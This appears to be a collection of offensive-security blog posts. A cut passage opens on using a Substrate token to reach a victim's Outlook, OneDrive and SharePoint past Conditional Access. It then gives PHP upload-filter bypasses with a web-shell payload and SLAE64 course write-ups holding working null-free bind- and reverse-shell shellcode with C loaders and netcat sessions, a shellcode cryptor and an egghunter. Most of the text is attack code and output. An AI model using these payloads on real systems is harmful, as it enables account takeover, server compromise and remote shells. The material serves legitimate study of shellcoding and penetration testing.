PS C:\Users\boku> Open-OWAMailboxInBrowser -AccessToken $SubstrateToken.access_token -Device Mac -Browser Chrome

We follow the instructions and send the API request using BurpSuites Repeater.

Open a new BurpSuite Repeater tab & set the Target to ‘https://Substrate.office.com’
Paste the below request into Repeater & Send
Right click the response > ‘Show response in browser’, then open the response in Burp’s embedded browser
Refresh the page to access the mailbox

We’ll right-click the response in repeater, click ‘Show response in browser’, copy the URL, go to the Proxy Tab, disable intercept, and click ‘Open Browser’. We paste the URL from our buffer and press Enter.

We are now presented with an Outlook Web Application Error. We will refresh the page.

After refreshing the page, we have full access to Bobs email. We can also access SharePoint and Bobs OneDrive by creating emails, adding attachments from cloud locations, downloading the attachments locally, and then deleting the draft email. We can also send emails as Bob.

This technique of abusing Substrate to access Outlook, OneDrive, and SharePoint will bypass application specific Conditional Access Policies (CAP) which explicity restrict access to those applications.

References

WebApp PHP - File Upload Bypass

2020-05-21T00:00:00+00:00

Overview

Techniques gathered to bypass PHP file upload filters.

PHP Null Byte

photo.php%00.jpg

Only usable with older PHP versions ~<5.4

Apache Dual Extentions

photo.php.png

Apache has a setting were a file can have 2 extensions
Apache will process the file as either type based on the extensions

Alternate PHP Extentions

.phtml  .php3   .php4   .php5   .phps

There are many different file extensions for PHP.
Developers may blacklist *.php but forget *.php3

Case Sensitive Bypass

Developers may blacklist *.php using case sensitive regex
This can be bypassed with file.PhP

PHP File-Type Bypass

Typical of image uploads, developers will try to whitelist the allowed file types that may be uploaded.

if ((($_FILES["file"]["type"] == "image/gif") || 
   ($_FILES["file"]["type"] == "image/jpeg")|| 
   ($_FILES["file"]["type"] == "image/JPG") ||
   ($_FILES["file"]["type"] == "image/png") || 
   ($_FILES["file"]["type"] == "image/pjpeg"))

This can be bypassed by changing the Content-Type in the POST request sent to the server

Content-Disposition: form-data; name="file"; filename="magic.php"
Content-Type: image/png

<?php echo shell_exec($_GET["magic"]); ?>

External References

PentesterLab.blog - Bypassing File Upload Restrictions

SLAE64 Assignment 1 - Remove Nulls TCP Bindshell

2020-04-28T00:00:00+00:00

Overview

The second part of the first assignment of SLAE64 was to remove the nulls from the bindshell provided by Pentester Academy.

Compiling & Testing Original - With GCC in C Host Program

root@zed# ./shellcode
Shellcode Length:  2

We can see here that these nulls truncate our shellcode when executed in a host program.
This is because \x00 will terminate a string in the host program.
Most of the time shellcode is injected into the host program by overflowing the string of a buffer, therefor truncating the shellcode.

Compiling & Testing Original - With NASM & LD

The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good.

Terminal 1

root# nasm -f elf64 bindshell.asm -o bindshell.o
root# rm shellcode
root# ld bindshell.o -o bindshell
root# ./bindshell

Terminal 2

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)

Removing Nulls

To make this shellcode injectable into most host programs, we will need to remove the 0x00 aka Nulls.

To determine which assembly instructions are producing the nulls, we will use objdump on the object file.

root# objdump -D bindshell.o -M intel
   0:   b8 29 00 00 00          mov    eax,0x29
   5:   bf 02 00 00 00          mov    edi,0x2
   a:   be 01 00 00 00          mov    esi,0x1
   f:   ba 00 00 00 00          mov    edx,0x0
  14:   0f 05                   syscall
  16:   48 89 c7                mov    rdi,rax
  19:   48 31 c0                xor    rax,rax
  1c:   50                      push   rax
  1d:   89 44 24 fc             mov    DWORD PTR [rsp-0x4],eax
  21:   66 c7 44 24 fa 11 5c    mov    WORD PTR [rsp-0x6],0x5c11
  28:   66 c7 44 24 f8 02 00    mov    WORD PTR [rsp-0x8],0x2
  2f:   48 83 ec 08             sub    rsp,0x8
  33:   b8 31 00 00 00          mov    eax,0x31
  38:   48 89 e6                mov    rsi,rsp
  3b:   ba 10 00 00 00          mov    edx,0x10
  40:   0f 05                   syscall
  42:   b8 32 00 00 00          mov    eax,0x32
  47:   be 02 00 00 00          mov    esi,0x2
  4c:   0f 05                   syscall
  4e:   b8 2b 00 00 00          mov    eax,0x2b
  53:   48 83 ec 10             sub    rsp,0x10
  57:   48 89 e6                mov    rsi,rsp
  5a:   c6 44 24 ff 10          mov    BYTE PTR [rsp-0x1],0x10
  5f:   48 83 ec 01             sub    rsp,0x1
  63:   48 89 e2                mov    rdx,rsp
  66:   0f 05                   syscall
  68:   49 89 c1                mov    r9,rax
  6b:   b8 03 00 00 00          mov    eax,0x3
  70:   0f 05                   syscall
  72:   4c 89 cf                mov    rdi,r9
  75:   b8 21 00 00 00          mov    eax,0x21
  7a:   be 00 00 00 00          mov    esi,0x0
  7f:   0f 05                   syscall
  81:   b8 21 00 00 00          mov    eax,0x21
  86:   be 01 00 00 00          mov    esi,0x1
  8b:   0f 05                   syscall
  8d:   b8 21 00 00 00          mov    eax,0x21
  92:   be 02 00 00 00          mov    esi,0x2
  97:   0f 05                   syscall
  99:   48 31 c0                xor    rax,rax
  9c:   50                      push   rax
  9d:   48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  a4:   2f 73 68
  a7:   53                      push   rbx
  a8:   48 89 e7                mov    rdi,rsp
  ab:   50                      push   rax
  ac:   48 89 e2                mov    rdx,rsp
  af:   57                      push   rdi
  b0:   48 89 e6                mov    rsi,rsp
  b3:   48 83 c0 3b             add    rax,0x3b
  b7:   0f 05                   syscall

After investigating the shellcode, we can see that the Nulls exist due to the mov instructions used.

Modified Null-Free Shellcode

To remove the 0x00’s from the shellcode, we will need to substitute the mov instructions.

global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
xor rdi, rdi ; rdi=0x0
mul rdi      ; rax&rdx=0x0
add rax, 41  ; socket syscall number 41
add rdi, 2   ; AF_INET=0x2
push rdx
pop rsi
inc rsi      ; rsi=0x1=SOCK_STREAM
syscall
mov rdi, rax ; rdi=socket-fd
; server.sin_family = AF_INET
; server.sinport = htons(PORT)
; server.sinaddr.saddr = INADDRANY
; bzero(&server.sinzero, 8)
dec rsi
mul rsi
add al, 0x31     ; rax = 0x31 = socket syscall
push rdx         ; 8 bytes of zeros for second half of struct
push dx          ; 4 bytes of zeros for IPADDRANY
push dx          ; 4 bytes of zeros for IPADDRANY
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx          ; rdx = 0x2 ; dx = 0x0002
push dx          ; 0x2 = AFINET
add dl, 0xe      ; rdi = 0x10 = sizeof(ipSocketAddr)
mov rsi, rsp     ; rsi = &ipSocketAddr
syscall
; listen(sock, MAXCLIENTS)
mul rsi      ; rax&rdx=0x0
add rax, 50
inc rsi
inc rsi
syscall
; new = accept(sock, (struct sockaddr client, &sockaddrlen)
mul rdx
add rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
add rax, 3
syscall

Assemble the new shellcode

root# nasm -f elf64 mod-bindshell.asm -o mod-bindshell.o
root# ld mod-bindshell.o -o mod-bindshell
root# ./mod-bindshell
root# for i in $(objdump -D mod-bindshell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done

Add the Modified Shellcode to the C Host Program

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x48\x31\xff\x48\xf7\xe7\x48\x83\xc0\x29\x48\x83"
"\xc7\x02\x52\x5e\x48\xff\xc6\x0f\x05\x48\x89\xc7"
"\x48\xff\xce\x48\xf7\xe6\x04\x31\x52\x66\x52\x66"
"\x52\x66\x68\x11\x5c\x48\xff\xc2\x48\xff\xc2\x66"
"\x52\x80\xc2\x0e\x48\x89\xe6\x0f\x05\x48\xf7\xe6"
"\x48\x83\xc0\x32\x48\xff\xc6\x48\xff\xc6\x0f\x05"
"\x48\xf7\xe2\x48\x83\xc0\x2b\x48\x83\xec\x10\x48"
"\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48"
"\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83"
"\xc0\x03\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x4c\x89"
"\xcf\x48\x83\xc0\x21\x50\x0f\x05\x58\x50\x48\xff"
"\xc6\x0f\x05\x58\x50\x48\xff\xc6\x0f\x05\x48\x31"
"\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6"
"\x48\x83\xc0\x3b\x0f\x05";
int main()
{
 printf("Shellcode Length:  %d\n", strlen(shellcode));
 int (*ret)() = (int(*)())shellcode;
 ret();
}

Terminal 1

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode
Shellcode Length:  174

Terminal 2

root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root)

Awesome! Our modified bindshell works from the host program and contains no nulls!!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

SLAE64 Assignment 2 - Remove Nulls TCP Reverse Shell

2020-04-28T00:00:00+00:00

Overview

The second part of the second assignment of SLAE64 was to remove the nulls from the reverse-shell provided by Pentester Academy.

Compiling & Testing Original - With NASM & LD

The shellcode works great if it is compiled and ran as its own program. This means the shellcode logic is good.

Terminal 1

Start a netcat listener on port 4444 before executing the shellcode.

root# nc -nvlp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37596
id
uid=0(root) gid=0(root) groups=0(root)

Terminal 2

root# nasm -f elf64 RevShell.nasm -o RevShell.o
root# ld RevShell.o -o RevShell
root# vi RevShell.nasm
root# ./RevShell

Removing Nulls

To make this shellcode injectable into most host programs, we will need to remove the 0x00 aka Nulls.

To determine which assembly instructions are producing the nulls, we will use objdump on the object file.

Finding the Nulls with `objdump`

root# objdump -D RevShell.o -M intel
   0:   b8 29 00 00 00          mov    eax,0x29
   5:   bf 02 00 00 00          mov    edi,0x2
   a:   be 01 00 00 00          mov    esi,0x1
   f:   ba 00 00 00 00          mov    edx,0x0
  14:   0f 05                   syscall
  16:   48 89 c7                mov    rdi,rax
  19:   48 31 c0                xor    rax,rax
  1c:   50                      push   rax
  1d:   c7 44 24 fc 7f 00 00    mov    DWORD PTR [rsp-0x4],0x100007f
  24:   01
  25:   66 c7 44 24 fa 11 5c    mov    WORD PTR [rsp-0x6],0x5c11
  2c:   66 c7 44 24 f8 02 00    mov    WORD PTR [rsp-0x8],0x2
  33:   48 83 ec 08             sub    rsp,0x8
  37:   b8 2a 00 00 00          mov    eax,0x2a
  3c:   48 89 e6                mov    rsi,rsp
  3f:   ba 10 00 00 00          mov    edx,0x10
  44:   0f 05                   syscall
  46:   b8 21 00 00 00          mov    eax,0x21
  4b:   be 00 00 00 00          mov    esi,0x0
  50:   0f 05                   syscall
  52:   b8 21 00 00 00          mov    eax,0x21
  57:   be 01 00 00 00          mov    esi,0x1
  5c:   0f 05                   syscall
  5e:   b8 21 00 00 00          mov    eax,0x21
  63:   be 02 00 00 00          mov    esi,0x2
  68:   0f 05                   syscall
  6a:   48 31 c0                xor    rax,rax
  6d:   50                      push   rax
  6e:   48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
  75:   2f 73 68
  78:   53                      push   rbx
  79:   48 89 e7                mov    rdi,rsp
  7c:   50                      push   rax
  7d:   48 89 e2                mov    rdx,rsp
  80:   57                      push   rdi
  81:   48 89 e6                mov    rsi,rsp
  84:   48 83 c0 3b             add    rax,0x3b
  88:   0f 05                   syscall

After investigating the shellcode, we can see that the Nulls exist due to the mov instructions used.

Modified Null-Free Shellcode

global _start
_start:
jmp short makeSocket
clearRegz:
xor rsi, rsi
mul rsi
push rsi
pop rdi
ret
makeSocket:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41
call clearRegz
add rax, 41
add rdi, 2
add rsi, 1
add rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov r8, rax ; r8 = socket-fd
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
call clearRegz
push rax
push dword 0x0101017f
push word 0x5c11 ; push 2 bytes for TCP Port 4444
inc rdx
inc rdx
push dx ; AF-INET
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
add rax, 42
mov rsi, rsp
push r8
pop rdi ; sock-fd
add dl, 0xe ; sizeof(sockaddr)
syscall
; duplicate sockets
; dup2 (new, old)
call clearRegz
mov rdi, r8 ; sock-fd
add rax, 33
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall

Assemble the new shellcode

root# nasm -f elf64 mod-revshell.asm -o mod-revshell.o
root# for i in $(objdump -D mod-revshell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''

Add the Modified Shellcode to the C Host Program

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x09\x48\x31\xf6\x48\xf7\xe6\x56\x5f\xc3\xe8"
"\xf2\xff\xff\xff\x48\x83\xc0\x29\x48\xff\xc6\x48"
"\xff\xc7\x48\xff\xc7\x0f\x05\x49\x89\xc0\xe8\xdb"
"\xff\xff\xff\x50\x68\x7f\x01\x01\x01\x66\x68\x11"
"\x5c\x48\xff\xc2\x48\xff\xc2\x66\x52\x48\x83\xc0"
"\x2a\x48\x89\xe6\x41\x50\x5f\x80\xc2\x0e\x0f\x05"
"\xe8\xb5\xff\xff\xff\x4c\x89\xc7\x48\x83\xc0\x21"
"\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6"
"\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2"
"\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
 printf("Shellcode Length:  %d\n", strlen(shellcode));
 int (*ret)() = (int(*)())shellcode;
 ret();
}

Terminal 1

root# nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 40608
id
uid=0(root) gid=0(root) groups=0(root)

Terminal 2

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode
Shellcode Length:  142

Awesome! Our Null-Free modified reverse shell works!!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

SLAE64 Assignment 7 - Cryptor Shellcode

2020-04-27T00:00:00+00:00

Overview

For the seventh assignment of the SLAE64, I created an Add Cryptor and a companion Sub Decryptor.
Any shellcode or encryption key can be placed in the python Add Cryptor. The Add Cryptor will output an assembly file decrypt.asm. This assembly file is shellcode that will decrypt the payload in memory and then execute it.

1. The Python Cryptor
2. Configurable Payload
3. Configurable Encryption Key
4. Testing Python Cryptor Program
5. The Decryptor File
6. Compiling-the-Decryptor
7. Adding the Decryptor to A Host Program
8. Compiling & Executing the Test Host Program

The Python Cryptor

#!/usr/bin/python
# Filename: add-cryptor.py
# Author:   Bobby Cooke

# Execve(/bin/bash) Linux/x64 Shellcode
payload  = "\x48\x31\xf6"     # xor rsi, rsi
payload += "\x48\xf7\xe6"     # mul rsi       ; rdx&rax= 0x0
payload += "\x48\x31\xff"     # xor rdi, rdi
payload += "\x57"             # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52"             # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" 
           # movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52"             # push rdx
payload += "\x48\x31\xd2"     # xor rdx, rdx
payload += "\x48\x89\xe7"     # mov rdi, rsp  ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b"         # mov al, 0x3b  ; execve syscall number
payload += "\x0f\x05"         # syscall       ; call execve("/bin/bash", NULL, NULL)

key = "SoSecr3T"
encrypted = ""
keyArray = bytearray(key)
keyLength = len(key)

count1 = 0
count2 = 0

for x in bytearray(payload): 
    if count1 == keyLength:   # If key length is exceeded, reuse the key
        count1 = 0
    x += keyArray[count1]	  # Add payload 1st byte and key together
    if x > 255:               # check for overflow
        x -= 256		
    if count2 == 0:
        encrypted += '0x'
        encrypted += '%02x' %x
    else:
        encrypted += ',0x'
        encrypted += '%02x' %x
    count1 += 1
    count2 += 1

encrypted += ',0xaa,0xbb'

print "[--------------Encrypted-Payload--------------]"
print "Encryped Payload Size is: "+ str(hex(len(payload)+2)) + " Bytes"
print encrypted

keyHex = ""
count  = 0
for x in keyArray:
    if count == 0:
        keyHex += '0x'
        keyHex += '%02x' %x
    else:
        keyHex += ',0x'
        keyHex += '%02x' %x
    count += 1

keyHex += ',0xee' # End of key byte

print "[----------------Key-Info---------------------]"
print "Key Size is: "+ str(keyLength) + " Bytes"
print keyHex


# Write Assembly Code to a File

asmFile  = 'xor rcx, rcx  ; rcx = 0x0\r\n'
asmFile += 'mul rcx       ; rax&rdx = 0x0\r\n'
asmFile += 'jmp short callEncrypted\r\n'
asmFile += 'popEncrypted:\r\n'
asmFile += 'pop rdi       ; rdi = &Encrypted\r\n'
asmFile += 'jmp short callKey\r\n'
asmFile += 'popKey:\r\n'
asmFile += 'pop rax       ; rax = &key\r\n'
asmFile += 'resetKey:\r\n'
asmFile += 'push rax\r\n'
asmFile += 'pop rsi       ; rsi = &key\r\n'
asmFile += 'decryptLoop:\r\n'
asmFile += 'mov dl, [rsi]\r\n'
asmFile += 'sub [rdi], dl    ; decrypt byte of payload\r\n'
asmFile += 'inc rsi          ; next key byte\r\n'
asmFile += 'inc rdi          ; next encrypted byte\r\n'
asmFile += 'mov dx, 0xbbaa\r\n'
asmFile += 'cmp [rdi], dx    ; End of payload?\r\n'
asmFile += 'je payload\r\n'
asmFile += 'mov dl, 0xee\r\n'
asmFile += 'cmp [rsi], dl    ; End of key?\r\n'
asmFile += 'je resetKey\r\n'
asmFile += 'jmp short decryptLoop ; use next byte of key to decrypt\r\n'
asmFile += 'callEncrypted:\r\n'
asmFile += 'call popEncrypted\r\n'
asmFile += 'payload:\r\n'
asmFile += 'db '+encrypted+'\r\n'
asmFile += 'callKey:\r\n'
asmFile += 'call popKey\r\n'
asmFile += 'key:\r\n'
asmFile += 'db '+keyHex+'\r\n'

File    = "decrypt.asm"
try:
    f       = open(File, 'w')
    f.write(asmFile)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'

Configurable Payload

The payload can be changed to any Linux x64 shellcode. This can be done by replacing the payload variable within the python program.

# Execve(/bin/bash) Linux/x64 Shellcode
payload  = "\x48\x31\xf6"     # xor rsi, rsi
payload += "\x48\xf7\xe6"     # mul rsi       ; rdx&rax= 0x0
payload += "\x48\x31\xff"     # xor rdi, rdi
payload += "\x57"             # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52"             # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73" 
           # movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52"             # push rdx
payload += "\x48\x31\xd2"     # xor rdx, rdx
payload += "\x48\x89\xe7"     # mov rdi, rsp  ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b"         # mov al, 0x3b  ; execve syscall number
payload += "\x0f\x05"         # syscall       ; call execve("/bin/bash", NULL, NULL)

Configurable Encryption Key

The encryption key is also configurable. Simply change the string of the varaible key within the python program to any key you wish. The length should not matter

key = "SoSecr3T"

Testing Python Cryptor Program

Since we already have the payload set to our execve shellcode, we will run the cryptor.

root# python 1-Cryptor-Add.py
[--------------Encrypted-Payload--------------]
Encryped Payload Size is: 0x26 Bytes
0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,
0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,
0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,
0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,
0xaa,0xbb
[----------------Key-Info---------------------]
Key Size is: 8 Bytes
0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee
decrypt.asm created successfully

We see that a file named decrypt.asm has been created.

The Decryptor File

The python program created an assembly file that has our encrypted payload and encryption key loaded into it. All we need to do is compile it to get the decryptor shellcode.

xor rcx, rcx  ; rcx = 0x0
mul rcx       ; rax&rdx = 0x0
jmp short callEncrypted
popEncrypted:
pop rdi       ; rdi = &Encrypted
jmp short callKey
popKey:
pop rax       ; rax = &key
resetKey:
push rax
pop rsi       ; rsi = &key
decryptLoop:
mov dl, [rsi]
sub [rdi], dl    ; decrypt byte of payload
inc rsi          ; next key byte
inc rdi          ; next encrypted byte
mov dx, 0xbbaa
cmp [rdi], dx    ; End of payload?
je payload
mov dl, 0xee
cmp [rsi], dl    ; End of key?
je resetKey
jmp short decryptLoop ; use next byte of key to decrypt
callEncrypted:
call popEncrypted
payload:
db   0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,\
     0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,\
     0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,\
     0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,\
     0xaa,0xbb
callKey:
call popKey
key:
db 0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee

Compiling the Decryptor

Here we will use a simple bash script to compile the decryptor assembly. We will then load it into a simple C program for testing.

root# cat getshellcode.sh
#!/bin/bash
asmFile=$1
noExt=$(echo $asmFile | sed 's/\..*$//g')
objFile=$noExt".o"
nasm -f elf64 $asmFile -o $objFile
for i in $(objdump -D $objFile | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''

root# ./getshellcode.sh decrypt.asm
\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e
\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb
\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8
\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6
\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5
\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb
\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee

Adding the Decryptor to A Host Program

Now that we have the assembly for our encrypted payload, pre setup with the symmetric decryption key & decryptor stub, we will load it into a host C program. Since the decryptor stub writes to memory that is typically not writable, we will have to pass some magic flags to GCC at compilation.

// Filename: shellcode.c
// Author:   Bobby Cooke
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e"
"\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb"
"\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8"
"\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6"
"\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5"
"\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb"
"\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee";
int main()
{
        printf("Shellcode Length:  %d\n", strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

Compiling & Executing the Test Host Program

Now we will compile our host C program with GCC.

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode

Awesome, no errors!

Now we will execute our compiled C program that hosts our shellcode.

root# echo $$ | xargs ps
    PID TTY      STAT   TIME COMMAND
   4332 pts/2    Ss     0:01 /bin/bash
root# ./shellcode
Shellcode Length:  98
root# echo $$ | xargs ps
    PID TTY      STAT   TIME COMMAND
   8081 pts/2    S      0:00 [bash]

Awesome! Everything works as intended.

Our payload was successfully decrypted in memory using the key provided in the decryptor file. After our encrypted payload was decrypted, execution was passed to our original execve shellcode payload!

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
    https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913

SLAE64 Assignment 3 - EggHunter

2020-04-26T00:00:00+00:00

Overview

For the third assignment of the SLAE64 course I created a 64 bit egghunter. To check if the memory is readable, the egghunter uses the link() system call.
The egghunter scans the hosts process memory, byte by byte, in search for the egg. Once the egghunter finds the egg, it will check to see if there is 2 eggs or only one instance of the egg. If there is only 1 instance of the egg, then the egg hunter is probably reading the egg from itself. To overcome this issue, the egg hunter must find the egg twice.

Creating the EggHunter

The Link System Call

To find detailed information about the link system call, the first thing we do is consult the man(uel) pages.

user$ man link.2
int link(const char *oldpath, const char *newpath);
rax=0x56     rdi=Address         rsi=0x0

For the purpose of the egghunter, we do not care about what the function/system call really does. All we care about is that it will return an error if the memory address we feed it is not readable.
You may be thinking:

“Why do I need to know if the address is readable or not?”
“Why not just read/scan each byte of the memory space, regardless if it’s readable or not?”

Well, if you try that, you will quickly discover that your egghunter crash the host program. To avoid crashing, we will discover readability by passing the memory address to link as the first argument *oldpath. For the second argument *newpath we will set that to 0.

Assembly for our Link Function

 lea rdi, [rdx+0x8]  ; ARG1=*oldpath
 xor rsi, rsi        ; ARG2=*newpath
 xor rax, rax        ; reset rax for syscall
 add al, 0x56        ; System Call for link()
 syscall             ; Executes link()

Link() - Cannot Read Memory

If the memory at the address in the RDI register is not readable, an error code will be returned in the rax register. After the system call, we will check for this error. If the error exists, then we will check the next memory page.

Next Memory Page Assembly

nextPage:            ; Increment RDX to the next memory page
 or dx, 0xfff        ; 0xfff = 4096. Size of page
nextAddress:         ; Increment RDX to the next memory address
 inc rdx
 lea rdi, [rdx+0x8]  ; ARG1=*oldpath
 xor rsi, rsi        ; ARG2=*newpath
 xor rax, rax        ; reset rax for syscall
 add al, 0x56        ; System Call for link()
 syscall             ; Executes link()
 cmp al, 0xf2        ; Can memory address be read?
 jz nextPage         ; If no, check the next memory page

The error for not being able to read the memory is 0xfffffffffffffff2. Checking the last byte works just as good as checking all 8 bytes, and it also makes our shellcode length smaller.

Check for the Egg

If the memory is readable, then we will check to see if our egg exists at the memory location.

 jz nextPage         ; If no, check the next memory page
 xor rbx, rbx
 add ebx, 0x50905090 ; Configure Egg in RBX
 cmp [rdx], ebx      ; Egg?
 jnz nextAddress     ; No Egg? Go to next memory page

If the egg does not exist, then we will increase the memory address by 1 byte and check again. We will continue scanning the memory space byte by byte, until either we find the egg or we cannot read the memory. If the memory is unreadable, we will check the next memory page by incrementing the address by 4096ish bytes.

Check for a Double Egg

If the egg exists, we will see if there are two instances of our egg, or only one. If only one egg exists, then that is not the egg(s) we are looking for. In such a case of only 1 egg, we will keep our scan continuing. Although if our egg exists twice, we will jump to our eggs and execute our payload.

 cmp [rdx], ebx      ; Egg?
 jnz nextAddress     ; No Egg? Go to next memory page
 cmp [rdx+0x4], ebx  ; second Egg?
 jnz nextAddress     ; No Egg? Check next memory address
 jmp rdx             ; EGG FOUND! Jump to Egg!

Testing the EggHunter

EggHunter Assembly

; Filename: eggHunter.nasm
; Author:   boku
global _start
_start:
 xor rcx, rcx        ; RCX = 0x0
 mul rcx             ; RAX & RDX = 0x0
; Location Shellcode: 0x555555558060
;                     0x555510100000
; gdb-peda$ vmmap
; Start              End                Perm      Name
; 0x0000555555554000 0x0000555555557000 r-xp      /home/beta/git/slae64/3-egghunter/Hunter
; 0x0000555555557000 0x0000555555558000 r-xp      /home/beta/git/slae64/3-egghunter/Hunter
; 0x0000555555558000 0x0000555555559000 rwxp      /home/beta/git/slae64/3-egghunter/Hunter
; 0x0000555555559000 0x000055555557a000 rwxp      [heap]

 add rdx, 0x55551010 ; Start at a higher address (hopefully reduce time)
 shl rdx, 0x10       ; 0x55551010 => 0x555510100000
nextPage:            ; Increment RDX to the next memory page
 or dx, 0xfff        ; 0xfff = 4096. Size of page
nextAddress:         ; Increment RDX to the next memory address
; int link(const char *oldpath, const char *newpath);
 inc rdx
 lea rdi, [rdx+0x8]  ; ARG1=*oldpath
 xor rsi, rsi        ; ARG2=*newpath
 xor rax, rax        ; reset rax for syscall
 add al, 0x56        ; System Call for link()
 syscall             ; Executes link()
; Check if memory page is accessible
 cmp al, 0xf2        ; Can memory address be read?
; strace ./eggHunter
; link(0x1008, NULL)                      = -1 EFAULT (Bad address)
 jz nextPage         ; If no, check the next memory page
 xor rbx, rbx
 add ebx, 0x50905090 ; Configure Egg in RBX
 cmp [rdx], ebx      ; Egg?
 jnz nextAddress     ; No Egg? Go to next memory page
 cmp [rdx+0x4], ebx  ; second Egg?
 jnz nextAddress     ; No Egg? Check next memory address
 jmp rdx             ; EGG FOUND! Jump to Egg!

Compiling the EggHunter

